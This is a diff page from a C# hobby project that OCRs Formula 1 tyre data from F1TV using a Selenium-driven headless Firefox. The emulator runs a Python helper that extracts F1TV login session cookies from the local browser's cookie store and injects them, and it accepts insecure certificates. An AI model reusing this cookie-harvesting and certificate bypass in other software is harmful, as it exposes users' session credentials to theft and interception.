-using System.Text;
-using System.Threading.Tasks;
-using System.Drawing;
-
-namespace Test_Merge
-{
-    public class DriverTyresWindow:Window
-    {
-        private static Random rnd = new Random();
-        int seed = rnd.Next(0, 10000);
-
-        //Those are the colors I found but you can change them if they change in the future like in 2019
-        public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00);
-        public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00);
-        public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8);
-        public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e);
-        public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6);
-        public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20);
-
-        public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
-        {
-            Name = "Tyres";
-        }
-        /// <summary>
-        /// This will decode the content of the image
-        /// </summary>
-        /// <returns>And object containing what was on the image</returns>
-        public override async Task<object> DecodePng()
-        {
-            return await GetTyreInfos();
-        }
-        /// <summary>
-        /// Method that will decode whats on the image and return the tyre infos it could manage to recover
-        /// </summary>
-        /// <returns>A tyre object containing tyre infos</returns>
-        private async Task<Tyre> GetTyreInfos()
-        {
-            Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone());
-            Tyre.Type type = Tyre.Type.Undefined;
-            type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone));
-            int laps = -1;
-
-            string number = await GetStringFromPng(tyreZone, Engine, "0123456789", OcrImage.WindowType.Tyre);
-            try
-            {
-                laps = Convert.ToInt32(number);
-            }
-            catch
-            {
-                //We could not convert the number so its a letter so its 0 laps old
-                laps = 0;
-            }
-            //tyreZone.Save(Reader.DEBUG_DUMP_FOLDER + "Tyre" + type + "Laps" + laps + '#' + rnd.Next(0, 1000) + ".png");
-            return new Tyre(type, laps);
-        }
-        /// <summary>
-        /// Finds where the important part of the image is
-        /// </summary>
-        /// <returns>A rectangle containing position and dimensions of the important part of the image</returns>
-        private Rectangle FindTyreZone()
-        {
-            Bitmap bmp = WindowImage;
-            int currentPosition = bmp.Width;
-            int height = bmp.Height / 2;
-            Color limitColor = Color.FromArgb(0x50, 0x50, 0x50);
-            Color currentColor = Color.FromArgb(0, 0, 0);
-
-            Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f));
-
-            while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
-            {
-                currentPosition--;
-                currentColor = bmp.GetPixel(currentPosition, height);
-            }
-
-            //Its here to let the new window include a little bit of the right 
-            int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f);
-            int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f);
-            if (CorrectedX <= 0)
-                return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height);
-
-            return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height);
-        }
-        //This method has been created with the help of chatGPT
-        /// <summary>
-        /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is
-        /// </summary>
-        /// <param name="inputColor">The color that you found</param>
-        /// <returns>The tyre type</returns>
-        public Tyre.Type GetTyreTypeFromColor(Color inputColor)
-        {
-            Tyre.Type type = Tyre.Type.Undefined;
-            List<Color> colors = new List<Color>();
-            //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list
-            //You will also need to add it below in the Tyre object's enum and add an if in the end of this method
-            colors.Add(SOFT_TYRE_COLOR);
-            colors.Add(MEDIUM_TYRE_COLOR);
-            colors.Add(HARD_TYRE_COLOR);
-            colors.Add(INTER_TYRE_COLOR);
-            colors.Add(WET_TYRE_COLOR);
-            colors.Add(EMPTY_COLOR);
-
-            Color closestColor = colors[0];
-            int closestDistance = int.MaxValue;
-            foreach (Color color in colors)
-            {
-                int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B);
-                if (distance < closestDistance)
-                {
-                    closestColor = color;
-                    closestDistance = distance;
-                }
-            }
-
-            //We cant use a switch as the colors cant be constants ...
-            if (closestColor == SOFT_TYRE_COLOR)
-                type = Tyre.Type.Soft;
-            if (closestColor == MEDIUM_TYRE_COLOR)
-                type = Tyre.Type.Medium;
-            if (closestColor == HARD_TYRE_COLOR)
-                type = Tyre.Type.Hard;
-            if (closestColor == INTER_TYRE_COLOR)
-                type = Tyre.Type.Inter;
-            if (closestColor == WET_TYRE_COLOR)
-                type = Tyre.Type.Wet;
-            if (closestColor == EMPTY_COLOR)
-                return Tyre.Type.Undefined;
-
-            return type;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : DriverTyresWindow.cs
+/// Brief : Window containing infos about a driver's tyre
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Drawing;
+
+namespace TrackTrends
+{
+    public class DriverTyresWindow:Window
+    {
+        private static Random rnd = new Random();
+        //Those are the colors I found but you can change them if they change in the future like in 2019
+        public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00);
+        public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00);
+        public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8);
+        public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e);
+        public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6);
+        public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20);
+
+        public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
+        {
+            Name = "Tyres";
+        }
+        /// <summary>
+        /// This will decode the content of the image
+        /// </summary>
+        /// <returns>And object containing what was on the image</returns>
+        public override object DecodePng()
+        {
+            return GetTyreInfos();
+        }
+        /// <summary>
+        /// Method that will decode whats on the image and return the tyre infos it could manage to recover
+        /// </summary>
+        /// <returns>A tyre object containing tyre infos</returns>
+        private Tyre GetTyreInfos()
+        {
+            //DEBUG
+            //WindowImage.Save("./Tyre/raw_"+rnd.Next(0,99999)+".png");
+
+            Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone());
+            Tyre.Type type = Tyre.Type.Undefined;
+            type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone));
+            int laps = -1;
+
+            string number = GetStringFromPng(tyreZone, Engine, "0123456789", OcrImage.WindowType.Tyre);
+            try
+            {
+                laps = Convert.ToInt32(number);
+            }
+            catch
+            {
+                //We could not convert the number so its a letter so its 0 laps old
+                laps = 0;
+            }
+
+            //71 is the most laps an f1 race is ever going to have (mexico) so any more would be considered as bad (and remember you cant go trough a full race without making at least one pitstop)
+            if (laps > 75)
+                laps = 0;
+
+            return new Tyre(type, laps);
+        }
+        /// <summary>
+        /// Finds where the important part of the image is
+        /// </summary>
+        /// <returns>A rectangle containing position and dimensions of the important part of the image</returns>
+        private Rectangle FindTyreZone()
+        {
+            Bitmap bmp = WindowImage;
+            int currentPosition = bmp.Width;
+            int height = bmp.Height / 2;
+            Color limitColor = Color.FromArgb(0x50, 0x50, 0x50);
+            Color currentColor = Color.FromArgb(0, 0, 0);
+                                                                                                 //25F
+            Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f)); 
+
+            while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
+            {
+                currentPosition--;
+                currentColor = bmp.GetPixel(currentPosition, height);
+            }
+
+            //Its here to let the new window include a little bit of the right 
+            int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f);
+            int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f);
+            if (CorrectedX <= 0)
+                return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height);
+
+            return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height);
+        }
+        //This method has been created with the help of chatGPT
+        /// <summary>
+        /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is
+        /// </summary>
+        /// <param name="inputColor">The color that you found</param>
+        /// <returns>The tyre type</returns>
+        public Tyre.Type GetTyreTypeFromColor(Color inputColor)
+        {
+            Tyre.Type type = Tyre.Type.Undefined;
+            List<Color> colors = new List<Color>();
+            //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list
+            //You will also need to add it below in the Tyre object's enum and add an if in the end of this method
+            colors.Add(SOFT_TYRE_COLOR);
+            colors.Add(MEDIUM_TYRE_COLOR);
+            colors.Add(HARD_TYRE_COLOR);
+            colors.Add(INTER_TYRE_COLOR);
+            colors.Add(WET_TYRE_COLOR);
+            colors.Add(EMPTY_COLOR);
+
+            Color closestColor = colors[0];
+            int closestDistance = int.MaxValue;
+            foreach (Color color in colors)
+            {
+                int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B);
+                if (distance < closestDistance)
+                {
+                    closestColor = color;
+                    closestDistance = distance;
+                }
+            }
+
+            //We cant use a switch as the colors cant be constants ...
+            if (closestColor == SOFT_TYRE_COLOR)
+                type = Tyre.Type.Soft;
+            if (closestColor == MEDIUM_TYRE_COLOR)
+                type = Tyre.Type.Medium;
+            if (closestColor == HARD_TYRE_COLOR)
+                type = Tyre.Type.Hard;
+            if (closestColor == INTER_TYRE_COLOR)
+                type = Tyre.Type.Inter;
+            if (closestColor == WET_TYRE_COLOR)
+                type = Tyre.Type.Wet;
+            if (closestColor == EMPTY_COLOR)
+                return Tyre.Type.Undefined;
+
+            return type;
+        }
+    }
+}
+
  • + + DriverData.cs + +
    • +
  • DriverGapToLeaderWindow.cs
  • - - DriverPositionWindow.cs + + DriverNameWindow.cs + +
    • +
  • + + DriverSectorWindow.cs
  • @@ -151,38 +161,23 @@
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • - - DriverData.cs - -
    • -
  • - - DriverLapTimeWindow.cs - -
    • -
  • - - DriverSectorWindow.cs - -
    • -
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,303 +254,343 @@

    F1TVEmulator.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : F1TVEmulator.cs
-/// Brief : Class that contains methods to emulate a browser and navigate the F1TV website
-/// Version : 0.1
-
-using OpenQA.Selenium;
-using OpenQA.Selenium.Firefox;
-using OpenQA.Selenium.Interactions;
-using OpenQA.Selenium.Support.UI;
-using System;
-using System.Collections.Generic;
-using System.Diagnostics;
-using System.Drawing;
-using System.IO;
-using System.Linq;
-using System.Text;
-using System.Threading;
-using System.Threading.Tasks;
-
-namespace Test_Merge
-{
-    internal class F1TVEmulator
-    {
-        public const string COOKIE_HOST = ".formula1.com";
-        public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = "recoverCookiesCSV.py";
-        public const string GECKODRIVER_FILENAME = @"geckodriver-v0.27.0-win64\geckodriver.exe";
-        //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO
-        public const string COOKIES_CSV_FILENAME = "cookies.csv";
-
-        private FirefoxDriver Driver;
-
-        private bool _ready;
-        private string _grandPrixUrl;
-        public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
-        public bool Ready { get => _ready; set => _ready = value; }
-        public F1TVEmulator(string grandPrixUrl)
-        {
-            GrandPrixUrl = grandPrixUrl;
-            Ready = false;
-        }
-        private void StartCookieRecovering()
-        {
-            string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME;
-            Process process = new Process();
-            process.StartInfo.FileName = "python.exe";
-            process.StartInfo.Arguments = scriptPath;
-            process.StartInfo.UseShellExecute = false;
-            process.StartInfo.RedirectStandardOutput = true;
-            process.Start();
-            string output = process.StandardOutput.ReadToEnd();
-            process.WaitForExit();
-        }
-        public string GetCookie(string host, string name)
-        {
-            StartCookieRecovering();
-            string value = "";
-            List<Cookie> cookies = new List<Cookie>();
-            using (var reader = new StreamReader(COOKIES_CSV_FILENAME))
-            {
-                // Read the header row and validate column order
-                string header = reader.ReadLine();
-                string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" };
-                string[] actualColumns = header.Split(',');
-                for (int i = 0; i < expectedColumns.Length; i++)
-                {
-                    if (expectedColumns[i] != actualColumns[i])
-                    {
-                        throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'");
-                    }
-                }
-
-                // Read each data row and parse values into a Cookie object
-                while (!reader.EndOfStream)
-                {
-                    string line = reader.ReadLine();
-                    string[] fields = line.Split(',');
-
-                    string hostname = fields[0];
-                    string cookieName = fields[1];
-
-                    if (hostname == host && cookieName == name)
-                    {
-                        value = fields[2];
-                    }
-                }
-            }
-
-            return value;
-        }
-        public async Task<int> Start()
-        {
-            Ready = false;
-
-            string loginCookieName = "login";
-            string loginSessionCookieName = "login-session";
-            string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName);
-            string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName);
-
-            int windowWidth = 1920;
-            int windowHeight = 768;
-
-            var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME);
-            service.Host = "127.0.0.1";
-            service.Port = 5555;
-
-            FirefoxProfile profile = new FirefoxProfile();
-            FirefoxOptions options = new FirefoxOptions();
-            //profile.SetPreference("full-screen-api.ignore-widgets", true);
-            //profile.SetPreference("media.hardware-video-decoding.enabled", true);
-            //profile.SetPreference("full-screen-api.enabled", true);
-            options.Profile = profile;
-            profile.SetPreference("layout.css.devPixelsPerPx", "1.0");
-
-            options.AcceptInsecureCertificates = true;
-            options.AddArgument("--headless");
-            //options.AddArgument("--start-maximized");
-            //options.AddArgument("--window-size=1920x1080");
-            //options.AddArgument("--width=" + windowWidth);
-            //options.AddArgument("--height=" + windowHeight);
-            //options.AddArgument("-window-size=1920x1080");
-            //options.AddArgument("--width=1920");
-            //options.AddArgument("--height=1080");
-            //profile
-
-            try
-            {
-                Driver = new FirefoxDriver(service, options);
-            }
-            catch
-            {
-                Ready = false;
-                return 101;
-            }
-
-            Actions actions = new Actions(Driver);
-            var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
-            var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
-
-            Driver.Navigate().GoToUrl("https://f1tv.formula1.com/");
-
-            Driver.Manage().Cookies.AddCookie(loginCookie);
-            Driver.Manage().Cookies.AddCookie(loginSessionCookie);
-
-            try
-            {
-                Driver.Navigate().GoToUrl(GrandPrixUrl);
-            }
-            catch
-            {
-                //The url is not a valid url
-                Driver.Dispose();
-                return 103;
-            }
-
-            //Waits for the page to fully load
-            Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30);
-
-            //Removes the cookie prompt
-            try
-            {
-                IWebElement conscentButton = Driver.FindElement(By.Id("truste-consent-button"));
-                conscentButton.Click();
-            }
-            catch
-            {
-                //Could not locate the cookie button
-                Screenshot("ERROR104");
-                Driver.Dispose();
-                return 104;
-            }
-
-            //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load)
-            //Cannot use The timeout because the feed loading is not really loading so there is not event or anything
-            Thread.Sleep(5000);
-
-            //Switches to the Data channel
-            try
-            {
-                IWebElement dataChannelButton = Driver.FindElement(By.ClassName("data-button"));
-                dataChannelButton.Click();
-            }
-            catch
-            {
-                //If the data button does not exists its because the user is not connected
-                Screenshot("ERROR102");
-                Driver.Dispose();
-                return 102;
-            }
-
-            //Open settings 
-            // Press the space key, this should make the setting button visible
-            // It does not matter if the feed is paused because when changing channel it autoplays
-            actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform();
-            //Clicks on the settings Icon
-
-            int tries = 0;
-            bool success = false;
-            while (tries < 100 && !success)
-            {
-                Thread.Sleep(100);
-                try
-                {
-                    IWebElement settingsButton = Driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
-                    settingsButton.Click();
-                    IWebElement selectElement = Driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
-                    SelectElement select = new SelectElement(selectElement);
-                    IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
-                    selectOption.Click();
-                    success = true;
-                }
-                catch
-                {
-                    //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry
-                    success = false;
-                    tries++;
-                }
-            }
-
-            if (!success)
-            {
-                Screenshot("ERROR105");
-                Driver.Dispose();
-                return 105;
-            }
-
-            Screenshot("BEFOREFULLSCREEN");
-
-            //Makes the feed fullscreen
-            //Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight);
-            Driver.Manage().Window.Maximize();
-            WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10));
-            try
-            {
-                IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
-                fullScreenButton.Click();
-            }
-            catch
-            {
-                Screenshot("ERROR106");
-                Driver.Dispose();
-                return 106;
-            }
-
-            Screenshot("AFTERFULLSCREEN");
-
-            //STARTUP FINISHED READY TO SCREENSHOT
-            Ready = true;
-            return 0;
-        }
-        public Bitmap Screenshot(string name = "TEST")
-        {
-            Bitmap result = new Bitmap(4242, 6969);
-            try
-            {
-                //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot();
-                //profileriver.SetPreference("layout.css.devPixelsPerPx", "1.0");
-
-                //Screenshot scrsht = Driver.GetFullPageScreenshot();
-                Screenshot scrsht = Driver.GetScreenshot();
-
-
-                byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString);
-                MemoryStream stream = new MemoryStream(screenshotBytes);
-
-                result = new Bitmap(stream);
-                //result.Save(name + ".png");
-                scrsht.SaveAsFile(name + ".png");
-            }
-            catch
-            {
-                //Nothing for now
-            }
-            return result;
-        }
-        public void Stop()
-        {
-            Ready = false;
-            Driver.Dispose();
-        }
-        public void ResetDriver()
-        {
-            Ready = false;
-            Driver.Dispose();
-            Driver = null;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : F1TVEmulator.cs
+/// Brief : Class that contains methods to emulate a browser and navigate the F1TV website
+/// Version : Alpha 1.0
+
+using OpenQA.Selenium;
+using OpenQA.Selenium.Firefox;
+using OpenQA.Selenium.Interactions;
+using OpenQA.Selenium.Support.UI;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Drawing;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace TrackTrends
+{
+    internal class F1TVEmulator
+    {
+        public const string COOKIE_HOST = ".formula1.com";
+        public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = "recoverCookiesCSV.py";
+        public const string GECKODRIVER_FILENAME = @"geckodriver-v0.27.0-win64\geckodriver.exe";
+        //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO
+        public const string COOKIES_CSV_FILENAME = "cookies.csv";
+
+        private FirefoxDriver Driver;
+
+        private bool _ready;
+        private string _grandPrixUrl;
+        public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
+        public bool Ready { get => _ready; set => _ready = value; }
+        public F1TVEmulator(string grandPrixUrl)
+        {
+            GrandPrixUrl = grandPrixUrl;
+            Ready = false;
+        }
+        /// <summary>
+        /// Will start the python programm that runs the Cookie Recovering
+        /// </summary>
+        private void StartCookieRecovering()
+        {
+            string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME;
+            Process process = new Process();
+            process.StartInfo.FileName = "python.exe";
+            process.StartInfo.Arguments = scriptPath;
+            process.StartInfo.UseShellExecute = false;
+            process.StartInfo.RedirectStandardOutput = true;
+            process.Start();
+            string output = process.StandardOutput.ReadToEnd();
+            process.WaitForExit();
+        }
+        /// <summary>
+        /// Method that will recover the needed cookies in the DB
+        /// </summary>
+        /// <param name="host"> The host of the wanted cookie ex: ./formula1.com</param>
+        /// <param name="name">The name of the wanted cookie ex: login</param>
+        /// <returns>returns the value of the cookie if it has been found</returns>
+        /// <exception cref="InvalidOperationException"></exception>
+        public string GetCookie(string host, string name)
+        {
+            StartCookieRecovering();
+            string value = "";
+            List<Cookie> cookies = new List<Cookie>();
+            if (File.Exists(COOKIES_CSV_FILENAME))
+            {
+                using (var reader = new StreamReader(COOKIES_CSV_FILENAME))
+                {
+                    // Read the header row and validate column order
+                    string header = reader.ReadLine();
+                    string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" };
+                    string[] actualColumns = header.Split(',');
+                    for (int i = 0; i < expectedColumns.Length; i++)
+                    {
+                        if (expectedColumns[i] != actualColumns[i])
+                        {
+                            throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'");
+                        }
+                    }
+
+                    // Read each data row and parse values into a Cookie object
+                    while (!reader.EndOfStream)
+                    {
+                        string line = reader.ReadLine();
+                        string[] fields = line.Split(',');
+
+                        string hostname = fields[0];
+                        string cookieName = fields[1];
+
+                        if (hostname == host && cookieName == name)
+                        {
+                            value = fields[2];
+                        }
+                    }
+                }
+            }
+            return value;
+        }
+        /// <summary>
+        /// Starts the headless browser
+        /// </summary>
+        /// <returns>Error code 1xx</returns>
+        public async Task<int> Start()
+        {
+            Ready = false;
+
+            string loginCookieName = "login";
+            string loginSessionCookieName = "login-session";
+            string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName);
+            string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName);
+
+            //Cookie retreival has gone wrong (usually its because of python not being installed properly)
+            if (loginCookieValue == "" || loginSessionValue == "")
+                return 100;
+
+            var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME);
+            service.Host = "127.0.0.1";
+            service.Port = 5555;
+
+            FirefoxProfile profile = new FirefoxProfile();
+            FirefoxOptions options = new FirefoxOptions();
+            //profile.SetPreference("full-screen-api.ignore-widgets", true);
+            //profile.SetPreference("media.hardware-video-decoding.enabled", true);
+            //profile.SetPreference("full-screen-api.enabled", true);
+            options.Profile = profile;
+            profile.SetPreference("layout.css.devPixelsPerPx", "1.0");
+
+            options.AcceptInsecureCertificates = true;
+            options.AddArgument("--headless");
+            //options.AddArgument("--start-maximized");
+            //options.AddArgument("--window-size=1920x1080");
+            //options.AddArgument("--width=" + windowWidth);
+            //options.AddArgument("--height=" + windowHeight);
+            //options.AddArgument("-window-size=1920x1080");
+            //options.AddArgument("--width=1920");
+            //options.AddArgument("--height=1080");
+            //profile
+
+            try
+            {
+                Driver = new FirefoxDriver(service, options);
+            }
+            catch
+            {
+                Ready = false;
+                return 101;
+            }
+
+            Actions actions = new Actions(Driver);
+            var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
+            var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
+
+            Driver.Navigate().GoToUrl("https://f1tv.formula1.com/");
+
+            Driver.Manage().Cookies.AddCookie(loginCookie);
+            Driver.Manage().Cookies.AddCookie(loginSessionCookie);
+
+            try
+            {
+                Driver.Navigate().GoToUrl(GrandPrixUrl);
+            }
+            catch
+            {
+                //The url is not a valid url
+                Driver.Dispose();
+                return 103;
+            }
+
+            //Waits for the page to fully load
+            Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30);
+
+            //Removes the cookie prompt
+            try
+            {
+                IWebElement conscentButton = Driver.FindElement(By.Id("truste-consent-button"));
+                conscentButton.Click();
+            }
+            catch
+            {
+                //Could not locate the cookie button
+                Screenshot("ERROR104");
+                Driver.Dispose();
+                return 104;
+            }
+
+            //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load)
+            //Cannot use The timeout because the feed loading is not really loading so there is not event or anything
+            Thread.Sleep(5000);
+
+            //Switches to the Data channel
+            try
+            {
+                IWebElement dataChannelButton = Driver.FindElement(By.ClassName("data-button"));
+                dataChannelButton.Click();
+            }
+            catch
+            {
+                //If the data button does not exists its because the user is not connected
+                Screenshot("ERROR102");
+                Driver.Dispose();
+                return 102;
+            }
+
+            //Open settings 
+            // Press the space key, this should make the setting button visible
+            // It does not matter if the feed is paused because when changing channel it autoplays
+            actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform();
+            //Clicks on the settings Icon
+
+            int settingsClickTries = 0;
+            bool settingsClickSuccess = false;
+            while (settingsClickTries < 100 && !settingsClickSuccess)
+            {
+                Thread.Sleep(100);
+                try
+                {
+                    IWebElement settingsButton = Driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
+                    settingsButton.Click();
+                    IWebElement selectElement = Driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
+                    SelectElement select = new SelectElement(selectElement);
+                    IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
+                    selectOption.Click();
+                    settingsClickSuccess = true;
+                }
+                catch
+                {
+                    //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry
+                    settingsClickSuccess = false;
+                    settingsClickTries++;
+                }
+            }
+
+            if (!settingsClickSuccess)
+            {
+                Screenshot("ERROR105");
+                Driver.Dispose();
+                return 105;
+            }
+
+            Screenshot("BEFOREFULLSCREEN");
+
+            //Makes the feed fullscreen
+            int fullScreenClickTries = 0;
+            bool fullScreenClickSuccess = false;
+            Driver.Manage().Window.Maximize();
+            //WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10));
+            while (fullScreenClickTries < 100 && !fullScreenClickSuccess)
+            {
+                Thread.Sleep(150);
+                try
+                {
+                    IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
+                    fullScreenButton.Click();
+                    fullScreenClickSuccess = true;
+                }
+                catch
+                {
+                    fullScreenClickSuccess = false;
+                    fullScreenClickTries++;
+                }
+            }
+
+            if (!fullScreenClickSuccess)
+            {
+                Screenshot("ERROR106");
+                Driver.Dispose();
+                return 106;
+            }
+
+            Screenshot("AFTERFULLSCREEN");
+
+            //STARTUP FINISHED READY TO SCREENSHOT
+            Ready = true;
+            return 0;
+        }
+        /// <summary>
+        /// Takes a screenshot of what the headless browser is displaying
+        /// </summary>
+        /// <param name="name">Optional ! The name of the picture so it can be saved</param>
+        /// <returns>Returns the screenshot in the bitmap format</returns>
+        public Bitmap Screenshot(string name = "TEST")
+        {
+            Bitmap result = new Bitmap(4242, 6969);
+            try
+            {
+                //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot();
+                //profileriver.SetPreferencC:\Users\Moi\source\repos\Test_Merge\README.mde("layout.css.devPixelsPerPx", "1.0");
+
+                //Screenshot scrsht = Driver.GetFullPageScreenshot();
+                Screenshot scrsht = Driver.GetScreenshot();
+
+                byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString);
+                MemoryStream stream = new MemoryStream(screenshotBytes);
+
+                result = new Bitmap(stream);
+                //result.Save(name + ".png");
+                scrsht.SaveAsFile(name + ".png");
+            }
+            catch
+            {
+                //Nothing for now
+            }
+            return result;
+        }
+        /// <summary>
+        /// Stops the Emulation. Note: if you plan to start it again please use ResetDriver() instead
+        /// </summary>
+        public void Stop()
+        {
+            Ready = false;
+            if (Driver != null)
+                Driver.Dispose();
+        }
+        /// <summary>
+        /// Resets the emulation
+        /// </summary>
+        public void ResetDriver()
+        {
+            Ready = false;
+            if (Driver != null)
+                Driver.Dispose();
+            Driver = null;
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -174,6 +154,11 @@ DriverSectorWindow.cs
    • +
  • + + F1TVEmulator.cs + +
  • @@ -181,8 +166,18 @@
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
